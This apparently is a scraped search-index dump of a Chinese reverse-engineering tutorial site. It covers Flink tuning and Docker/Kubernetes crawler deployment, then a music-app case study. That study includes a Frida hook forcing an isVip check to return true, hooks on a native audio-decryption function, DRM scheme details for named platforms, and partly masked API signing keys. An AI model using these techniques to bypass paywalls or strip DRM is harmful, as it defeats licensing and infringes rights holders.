savepoint \u003cjobId\u003e [targetDirectory] # 从 Savepoint 恢复 bin/flink run -s \u003csavepointPath\u003e \u003cjarFile\u003e # 删除 Savepoint bin/flink savepoint -d \u003csavepointPath\u003e ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:6:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#savepoint-操作"},{"categories":null,"collections":null,"content":"性能调优 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:7:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#性能调优"},{"categories":null,"collections":null,"content":"并行度配置 // 1. 全局并行度 env.setParallelism(4); // 2. 算子并行度 stream.map(...).setParallelism(2); // 3. Slot 共享组 stream.map(...).slotSharingGroup(\"group1\"); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:7:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#并行度配置"},{"categories":null,"collections":null,"content":"内存配置 # flink-conf.yaml taskmanager.memory.flink.size: 3g taskmanager.memory.network.fraction: 0.1 taskmanager.memory.managed.fraction: 0.4 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:7:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#内存配置"},{"categories":null,"collections":null,"content":"网络缓冲 // 批量传输 env.setBufferTimeout(100); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:7:3","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#网络缓冲"},{"categories":null,"collections":null,"content":"RocksDB 优化 RocksDBStateBackend backend = new RocksDBStateBackend(\"hdfs://...\"); backend.setPredefinedOptions(PredefinedOptions.SPINNING_DISK_OPTIMIZED); backend.setDbStoragePath(\"/tmp/rocksdb\"); env.setStateBackend(backend); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:7:4","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#rocksdb-优化"},{"categories":null,"collections":null,"content":"知识要点 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#知识要点"},{"categories":null,"collections":null,"content":"1. Flink vs Spark Streaming 特性 Flink Spark Streaming 处理模型 真正的流处理 微批处理 延迟 毫秒级 秒级 吞吐量 高 很高 状态管理 原生支持 有限支持 容错 Checkpoint RDD lineage 反压 原生支持 有限支持 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#1-flink-vs-spark-streaming"},{"categories":null,"collections":null,"content":"2. 反压 (Backpressure) 机制 问题: 下游处理速度跟不上上游产生速度 Flink 解决方案: 信用机制: 基于信用的流量控制 缓冲池: 动态调整缓冲池大小 网络栈: TCP 流量控制 监控: Web UI 显示反压情况 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#2-反压-backpressure-机制"},{"categories":null,"collections":null,"content":"3. Exactly-Once 语义保证 组件: Source: 可重放（如 Kafka offset） 内部处理: Checkpoint 机制 Sink: 两阶段提交或幂等写入 // 两阶段提交 Sink 示例 public class TwoPhaseCommitSink extends TwoPhaseCommitSinkFunction\u003cString, Transaction, Void\u003e { @Override protected Transaction beginTransaction() throws Exception { return new Transaction(); } @Override protected void invoke(Transaction transaction, String value, Context context) throws Exception { transaction.add(value); } @Override protected void preCommit(Transaction transaction) throws Exception { transaction.flush(); } @Override protected void commit(Transaction transaction) { transaction.commit(); } @Override protected void abort(Transaction transaction) { transaction.rollback(); } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:3","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#3-exactly-once-语义保证"},{"categories":null,"collections":null,"content":"4. 窗口触发条件 触发器 说明 Watermark 事件时间窗口 Processing Time 处理时间窗口 元素计数 计数窗口 自定义 用户定义的触发器 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:4","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#4-窗口触发条件"},{"categories":null,"collections":null,"content":"5. 状态管理最佳实践 选择合适的状态类型: ValueState vs ListState vs MapState 设置状态 TTL: 避免状态无限增长 选择合适的状态后端: 内存 vs 文件系统 vs RocksDB 状态大小监控: 及时发现状态膨胀 // 设置状态 TTL StateTtlConfig ttlConfig = StateTtlConfig .newBuilder(Time.days(7)) .setUpdateType(StateTtlConfig.UpdateType.OnCreateAndWrite) .setStateVisibility(StateTtlConfig.StateVisibility.NeverReturnExpired) .build(); ValueStateDescriptor\u003cString\u003e descriptor = new ValueStateDescriptor\u003c\u003e(\"my-state\", String.class); descriptor.enableTimeToLive(ttlConfig); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:5","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#5-状态管理最佳实践"},{"categories":null,"collections":null,"content":"6. 故障恢复流程 检测故障: JobManager 监控 TaskManager 心跳 重启任务: 根据重启策略重启失败任务 恢复状态: 从最近的 Checkpoint 恢复状态 重放数据: Source 重放 Checkpoint 之后的数据 继续处理: 恢复正常处理流程 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:8:6","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#6-故障恢复流程"},{"categories":null,"collections":null,"content":"Docker 容器化部署 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:0:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#docker-容器化部署"},{"categories":null,"collections":null,"content":"概述 Docker 容器化使爬虫项目具备可移植性、可扩展性和易维护性。本章介绍如何将爬虫项目容器化并进行生产部署。 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:1:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#概述"},{"categories":null,"collections":null,"content":"Docker 基础 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:2:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#docker-基础"},{"categories":null,"collections":null,"content":"核心概念 镜像 (Image): 只读模板，包含运行应用所需的一切 容器 (Container): 镜像的运行实例 Dockerfile: 构建镜像的脚本 Docker Compose: 多容器编排工具 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:2:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#核心概念"},{"categories":null,"collections":null,"content":"Dockerfile 编写 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:3:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#dockerfile-编写"},{"categories":null,"collections":null,"content":"爬虫项目 Dockerfile # 使用官方 Python 镜像 FROM python:3.11-slim # 设置工作目录 WORKDIR /app # 安装系统依赖 RUN apt-get update \u0026\u0026 apt-get install -y \\ gcc \\ g++ \\ wget \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* # 复制依赖文件 COPY requirements.txt . # 安装 Python 依赖 RUN pip install --no-cache-dir -r requirements.txt # 复制项目代码 COPY . . # 暴露端口（如果有 API） EXPOSE 8000 # 设置环境变量 ENV PYTHONUNBUFFERED=1 # 运行爬虫 CMD [\"python\", \"main.py\"] ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:3:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#爬虫项目-dockerfile"},{"categories":null,"collections":null,"content":"Puppeteer/Playwright Dockerfile 需要安装浏览器依赖： FROM node:18-slim # 安装 Chromium 依赖 RUN apt-get update \u0026\u0026 apt-get install -y \\ chromium \\ fonts-liberation \\ libappindicator3-1 \\ libasound2 \\ libatk-bridge2.0-0 \\ libatk1.0-0 \\ libcups2 \\ libdbus-1-3 \\ libgdk-pixbuf2.0-0 \\ libnspr4 \\ libnss3 \\ libx11-xcb1 \\ libxcomposite1 \\ libxdamage1 \\ libxrandr2 \\ xdg-utils \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* WORKDIR /app COPY package*.json ./ RUN npm install COPY . . CMD [\"node\", \"index.js\"] ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:3:2","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#puppeteerplaywright-dockerfile"},{"categories":null,"collections":null,"content":"Docker Compose ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:4:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#docker-compose"},{"categories":null,"collections":null,"content":"完整爬虫系统编排 version: \"3.8\" services: # Redis redis: image: redis:7-alpine ports: - \"6379:6379\" volumes: - redis_data:/data restart: unless-stopped # MongoDB mongodb: image: mongo:6 ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - mongo_data:/data/db restart: unless-stopped # 爬虫 Master spider-master: build: . command: python master.py depends_on: - redis - mongodb environment: - REDIS_URL=redis://redis:6379 - MONGO_URL=mongodb://admin:${MONGO_PASSWORD}@mongodb:27017 restart: unless-stopped # 爬虫 Worker spider-worker: build: . command: python worker.py depends_on: - redis - mongodb environment: - REDIS_URL=redis://redis:6379 - MONGO_URL=mongodb://admin:${MONGO_PASSWORD}@mongodb:27017 restart: unless-stopped deploy: replicas: 3 # 启动3个Worker volumes: redis_data: mongo_data: ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:4:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#完整爬虫系统编排"},{"categories":null,"collections":null,"content":"启动和管理 # 构建镜像 docker-compose build # 启动所有服务 docker-compose up -d # 查看日志 docker-compose logs -f spider-worker # 扩展 Worker 数量 docker-compose up -d --scale spider-worker=5 # 停止所有服务 docker-compose down # 停止并删除卷 docker-compose down -v ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:4:2","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#启动和管理"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:5:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#最佳实践"},{"categories":null,"collections":null,"content":"1. 多阶段构建 减小镜像体积： # 构建阶段 FROM python:3.11 AS builder WORKDIR /app COPY requirements.txt . RUN pip install --user --no-cache-dir -r requirements.txt # 运行阶段 FROM python:3.11-slim WORKDIR /app # 从构建阶段复制依赖 COPY --from=builder /root/.local /root/.local COPY . . ENV PATH=/root/.local/bin:$PATH CMD [\"python\", \"main.py\"] ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:5:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#1-多阶段构建"},{"categories":null,"collections":null,"content":"2. 使用 .dockerignore __pycache__ *.pyc *.pyo *.pyd .Python .env venv/ .git .gitignore *.md .pytest_cache .coverage htmlcov/ ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:5:2","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#2-使用-dockerignore"},{"categories":null,"collections":null,"content":"3. 健康检查 HEALTHCHECK --interval=30s --timeout=3s --retries=3 \\ CMD python -c \"import requests; requests.get('http://localhost:8000/health')\" || exit 1 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:5:3","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#3-健康检查"},{"categories":null,"collections":null,"content":"4. 环境变量管理 # docker-compose.yml services: spider: env_file: - .env # .env 文件 REDIS_URL=redis://redis:6379 API_KEY=your_api_key_here PROXY_URL=http://proxy.example.com ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:5:4","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#4-环境变量管理"},{"categories":null,"collections":null,"content":"生产部署 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:6:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#生产部署"},{"categories":null,"collections":null,"content":"使用 Docker Swarm # 初始化 Swarm docker swarm init # 部署服务栈 docker stack deploy -c docker-compose.yml spider # 查看服务状态 docker service ls # 扩展服务 docker service scale spider_spider-worker=10 # 删除服务栈 docker stack rm spider ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:6:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#使用-docker-swarm"},{"categories":null,"collections":null,"content":"使用 Kubernetes # deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: spider-worker spec: replicas: 3 selector: matchLabels: app: spider-worker template: metadata: labels: app: spider-worker spec: containers: - name: spider image: myregistry/spider:latest env: - name: REDIS_URL value: \"redis://redis:6379\" resources: requests: memory: \"512Mi\" cpu: \"500m\" limits: memory: \"1Gi\" cpu: \"1000m\" # 部署 kubectl apply -f deployment.yaml # 扩展 kubectl scale deployment spider-worker --replicas=10 # 查看状态 kubectl get pods ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:6:2","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#使用-kubernetes"},{"categories":null,"collections":null,"content":"监控与日志 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:7:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#监控与日志"},{"categories":null,"collections":null,"content":"日志管理 services: spider: logging: driver: \"json-file\" options: max-size: \"10m\" max-file: \"3\" ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:7:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#日志管理"},{"categories":null,"collections":null,"content":"集成 Prometheus services: prometheus: image: prom/prometheus ports: - \"9090:9090\" volumes: - ./prometheus.yml:/etc/prometheus/prometheus.yml - prometheus_data:/prometheus grafana: image: grafana/grafana ports: - \"3000:3000\" volumes: - grafana_data:/var/lib/grafana ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:7:2","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#集成-prometheus"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:8:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#常见问题"},{"categories":null,"collections":null,"content":"Q1: 容器内时区不正确？ RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime RUN echo \"Asia/Shanghai\" \u003e /etc/timezone ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:8:1","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#q1-容器内时区不正确"},{"categories":null,"collections":null,"content":"Q2: 如何调试容器内的应用？ # 进入容器 docker exec -it container_id /bin/bash # 查看日志 docker logs -f container_id # 实时查看资源使用 docker stats container_id ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:8:2","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#q2-如何调试容器内的应用"},{"categories":null,"collections":null,"content":"Q3: 如何持久化数据？ 使用 Docker Volume： services: spider: volumes: - spider_data:/app/data volumes: spider_data: ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:8:3","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#q3-如何持久化数据"},{"categories":null,"collections":null,"content":"相关章节 分布式爬虫架构 监控与告警系统 消息队列应用 ","date":"2025-08-07","objectID":"/reverse_engineering/web/06-engineering/docker_deployment/:9:0","tags":["Web","Docker","代理池","DEX","工程实践","分布式"],"title":"Docker 容器化部署","uri":"/reverse_engineering/web/06-engineering/docker_deployment/#相关章节"},{"categories":null,"collections":null,"content":"音乐 App 案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： 静态分析深入 - 使用 Jadx 定位 VIP 判断逻辑 Ghidra/IDA 指南 - 分析 Native 层音频解密算法 音乐类 App 是非常典型的逆向分析目标。其核心场景通常围绕着 VIP 会员特权、音频数据加密和客户端风控策略。本案例将模拟对一个典型音乐 App 的分析过程。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:0:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#音乐-app-案例"},{"categories":null,"collections":null,"content":"核心分析目标 解锁 VIP 功能: 免费收听付费歌曲、下载无损音质、去除广告、使用专属皮肤等。 音频数据提取: 分析加密的音频文件格式（如 ncm, qmcflac），提取出可播放的 mp3 或 flac 文件。 API 分析: 分析其歌曲搜索、歌单获取、评论区等 API，为第三方工具或爬虫提供支持。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:1:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#核心分析目标"},{"categories":null,"collections":null,"content":"案例：分析 VIP 歌曲的播放流程 💡 思路一句话: 抓包分析音频流 URL 结构 → hook MediaPlayer/ExoPlayer 获取实际播放地址 → 分析鉴权参数生成逻辑 → 理解 DRM 保护机制。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:2:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#案例分析-vip-歌曲的播放流程"},{"categories":null,"collections":null,"content":"第 1 步：定位切入点 目标: 找到判断用户是否为 VIP 以及歌曲是否为付费歌曲的关键代码。 界面分析: 在 App 中播放一首需要 VIP 的歌曲，通常会弹出一个\"开通 VIP\"的提示框。这个提示框是绝佳的切入点。 寻找关键词: 使用 jadx-gui 反编译 APK，搜索与弹窗内容相关的字符串，例如\"仅限 VIP\"、“开通会员\"等。 交叉引用: 对找到的字符串进行交叉引用，定位到显示这个弹窗的代码。你很可能会找到一个类似 showVipDialog() 的方法。 回溯调用栈: 继续对 showVipDialog() 进行交叉引用，向上回溯。通常，你会找到一个包含了核心判断逻辑的函数，其伪代码可能如下： void onPlayButtonClick(Song song) { // isVip() determines from user information // song.isPaywalled() determines from song information if (!isVip() \u0026\u0026 song.isPaywalled()) { showVipDialog(); return; } // ...execute playback logic... startPlayback(song); } 目标: 绕过 VIP 判断，让 App 认为我们是 VIP 用户。 最直接的方法是 Hook 负责判断用户身份的函数。 Java.perform(function () { // Assume UserInfo class manages user information var UserInfo = Java.use(\"com.example.music.model.UserInfo\"); // Directly hook isVip method to always return true UserInfo.isVip.implementation = function () { console.log(\"Bypassing VIP check, returning true.\"); return true; }; // Some apps may also verify VIP expiration time UserInfo.getVipExpireTime.implementation = function () { // Return a timestamp far in the future return new Date(2099, 11, 31).getTime(); }; }); 请求的 URL 中带有 quality=flac 或 hires 等参数。 服务器返回的响应 Content-Type 可能不是 audio/mpeg，而是一些自定义的类型如 application/octet-stream。 下载下来的文件（例如，song.ncm）无法用标准播放器播放。 定位解密代码: 这是最关键的一步。数据解密逻辑通常在 Native 层（.so 文件）以提高性能和逆向难度。 关键词搜索: 在 IDA Pro 或 Ghidra 中打开相关的 .so 文件，搜索 aes, cbc, decrypt, RC4 等加密算法相关的字符串。 JNI 入口: 从 Java 层调用 Native 代码需要通过 JNI (Java Native Interface)。在 Java 代码中寻找 native 关键字声明的函数，例如 private native byte[] decryptAudio(byte[] encryptedData, int core);。这个函数名就是你在 .so 文件中要找的符号。 Hook Native 函数: 一旦定位到 JNI 函数（如 Java_com_example_music_player_NativeDecoder_decryptAudio），就可以使用 Frida 进行 Hook，观察其输入和输出。 Interceptor.attach( Module.findExportByName( \"libaudiodecrypt.so\", \"Java_com_example_music_player_NativeDecoder_decryptAudio\" ), { onEnter: function (args) { // args[0] is JNIEnv*, args[1] is jclass, args[2] is encrypted data jbyteArray console.log(\"Entering decryptAudio...\"); // Can save encrypted data for subsequent offline analysis this.encryptedBuffer = args[2]; }, onLeave: function (retval) { // retval is the decrypted jbyteArray console.log(\"Leaving decryptAudio. Decrypted data pointer: \" + retval); // Here you can read the memory pointed to by retval to get the decrypted PCM or MP3 data }, } ); 通过动态分析，你已经能够获取到解密后的音频数据。但如果想开发一个独立的、离线的格式转换工具，就需要彻底理解其加密方案。 静态分析 Native 代码: 在 Ghidra/IDA 中仔细分析 decryptAudio 函数的逻辑。它可能包含： 元数据解析: 从加密文件头部读取歌曲 ID、专辑封面、比特率等信息。 密钥派生: 使用一个固定的 Core Key 和从文件元数据中提取的 Nonce 来派生出每个文件唯一的 AES Key。 解密循环: 循环读取加密的音频帧，使用 AES 或其他算法进行解密。 代码实现: 使用 Python 的 cryptography 等库，将你在 Native 代码中看到的逻辑重新实现一遍。最终，你就能开发出一个可以将 .ncm 批量转换为 .flac 的工具。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:2:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#第-1-步定位切入点"},{"categories":null,"collections":null,"content":"主流平台加密方案实例 虽然通用的分析思路是一致的，但不同平台的具体实现细节各不相同。了解这些特征有助于更快地定位问题。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:3:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#主流平台加密方案实例"},{"categories":null,"collections":null,"content":"网某云音乐 (.ncm) 文件格式: .ncm 加密细节: 采用 AES + RC4 的混合加密方案。 元数据 (Meta): 文件中包含一块加密的元数据区域，其中含有歌曲名、专辑封面、AES Key 等信息。这块区域本身使用一个固定的 Meta Key 进行 AES-ECB 解密。 音频数据 (Audio): 音频帧数据使用 AES-ECB 加密。解密所需的 AES Key 就存在于上一步解密后的元数据中。然而，最终的解密密钥流是通过一个类似 RC4-KSA 的算法，基于这个 AES Key 生成的。 逆向切入点: 在 SO 库中搜索字符串 ncm, core, meta, AES, RC4。 其解密逻辑通常被封装在一个或多个专门的 Native 函数中。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:3:1","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#网某云音乐-ncm"},{"categories":null,"collections":null,"content":"Q某音乐 (.qmcflac, .mflac, .qmc0) 文件格式: .qmcflac, .qmc0, .qmc3, .mflac 等。 加密细节: 未使用标准加密算法，而是一套自定义的字节置乱 (Scramble) 方案。 其核心是依赖一个巨大的静态映射表 (Seed Map)，这个表硬编码在 SO 文件中。 解密时，根据当前字节在文件中的偏移量，通过一个复杂的公式计算出在映射表中的索引，然后取出表中的值与加密字节进行运算（通常是异或）。 逆向切入点: 由于没有使用标准算法，搜索加密关键词是无效的。 逆向的关键是在 SO 文件中找到那个巨大的静态数组（映射表）。 定位一个紧凑的循环，该循环体内部包含了复杂的偏移量计算和查表操作。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:3:2","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#q某音乐-qmcflac-mflac-qmc0"},{"categories":null,"collections":null,"content":"某狗音乐 (.kgm, .vpr) 文件格式: .kgm, .vpr。 加密细节: 同样是自定义的置乱算法，与 Q某音乐思路相似，但实现不同。 依赖多个静态表（通常在开源项目中被称为 table1, table2）。 文件头包含了解密所需的关键信息，如密钥长度等。解密密钥由文件头信息和静态表共同派生。 逆向切入点: 分析文件头的解析逻辑。 定位多个静态表，并还原其查表和密钥生成的算法。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:3:3","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#某狗音乐-kgm-vpr"},{"categories":null,"collections":null,"content":"某我音乐 (.kwm) 文件格式: .kwm。 加密细节: 采用相对简单的 XOR 异或加密。 解密密钥由一个硬编码在 SO 中的静态密钥 (Base Key) 与该歌曲的资源 ID (rid) 进行运算后得出。rid 是一个 uin64_t 类型的数字。 得到最终密钥后，对加密的音频数据进行逐字节异或即可完成解密。 逆向切入点: 搜索关键词 rid, kwm。 定位一个逻辑相对简单的函数，其包含了获取 rid、与静态密钥进行运算、然后循环异或的过程。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:3:4","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#某我音乐-kwm"},{"categories":null,"collections":null,"content":"API 签名与加密实战 💡 思路一句话: 定位请求中的 sign/token 字段 → 反编译找到签名工具类 → hook 获取签名前的明文参数和密钥 → 还原签名算法用于请求构造。 以下是基于真实项目的 API 加密实现分析，展示了如何逆向还原各平台的请求签名逻辑。 ","date":"2025-07-29","objectID":"/reverse_engineering/android/03-case-studies/case_music_apps/:4:0","tags":["RSA","Native层","签名验证","Frida","案例分析","Ghidra"],"title":"音乐 App 案例","uri":"/reverse_engineering/android/03-case-studies/case_music_apps/#api-签名与加密实战"},{"categories":null,"collections":null,"content":"网某云音乐 API 加密实现 网某云音乐采用 AES + RSA 双层加密方案，Web 端和 App 端使用不同的加密策略。 核心密钥常量 class Music163: def __init__(self): # Web 端 AES 密钥和 IV self.aes_key = '0CoJUm6Qyw8W****' self.aes_iv = '01020304050***08' # RSA 公钥参数 self.rsa_exponent = '010001' self.rsa_modulus = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22****' # 随机字符集，用于生成随机密钥 self.words = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' Web 端加密流程 (params + encSecKey) def aes(self, data, key, iv): \"\"\"AES-CBC 加密，PKCS7 填充\"\"\" bs = 